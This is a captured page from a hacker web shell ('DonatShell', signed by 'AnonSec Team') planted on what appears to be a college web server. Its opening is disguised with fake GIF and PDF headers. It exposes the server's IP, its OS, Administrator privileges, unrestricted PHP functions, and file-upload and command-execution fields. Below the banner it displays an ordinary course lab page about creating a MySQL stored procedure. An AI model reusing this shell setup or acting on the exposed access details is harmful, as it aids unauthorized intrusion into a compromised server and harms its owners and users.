GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1602/Labs/Lab06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1602/Labs/Lab06//Lab06.phpinc
<?
// JimMartinson/CST1602/Labs/Lab04/Lab04.phpinc

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

?>
<style type="text/css">b {white-space:nowrap;}</style>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to create a stored procedure.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<ol class="count">
	<li>
    Create a directory called <b><?=$evaluationName?></b> inside of your <b><?=$courseNumber?>\Labs</b> folder. We will use it for all work performed in this lab.
  </li>
	<li>
		Write a script that does the following:
		<ol>
			<li>Uses the <b>classicmodels</b> database.</li>
			<li>Ensure the <b>GetAllProducts()</b> procedure is removed if it exists.</li>
			<li>Create the <b>GetAllProducts()</b> procedure from the tutorial with the following modification:
				<ol>
					<li>Ensure that the procedure is created in the <b>classicmodels</b> database.</li>
					<li>Ensure that all tables referenced are from the <b>classicmodels</b> database.</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
		Save the script file as <b><?=$saveFilename?>-GetAllProducts.sql</b> in your <b><?=$evaluationName?></b> folder.
	</li>
	<li>
		Execute the script.
		<ol>
			<li>Execute the script.</li>
			<li>Make sure the <b>classicmodels</b> database and <b>GetAllProducts()</b> procedure are visible in the schemas pane.</li>
			<li>Take a screenshot and save it as <b><?=$saveFilename?>-a.png</b> in your <b><?=$evaluationName?></b> folder.
		<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
		<img src="images/JimMartinson-Lab03-a.png" width="1001" alt="GetAllProducts procedure example screenshot"/><br>
		<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>
		Call the <b>GetAllProducts()</b> procedure.
		<ol>
			<li>Open a new query tab.</li>
			<li>Call the <b>GetAllProducts()</b> procedure.</li>
			<li>Make sure the results are visiable.</li>
			<li>Take a screenshot and save it as <b><?=$saveFilename?>-b.png</b> in your <b><?=$evaluationName?></b> folder.
		<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
		<img src="images/JimMartinson-Lab03-b.png" width="1001" alt="GetAllProducts call example screenshot"/><br>
		<? showEnd (); ?>
			</li>
		</ol>
	</li>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Ensure you have the following files in your <b><?=$evaluationName?></b> folder:
				<ul>
					<li><?=$saveFilename?>-GetAllProducts.sql</li>
					<li><?=$saveFilename?>-a.png</li>
					<li><?=$saveFilename?>-b.png</li>
				</ul>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require('JimMartinson/ContactInformation.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team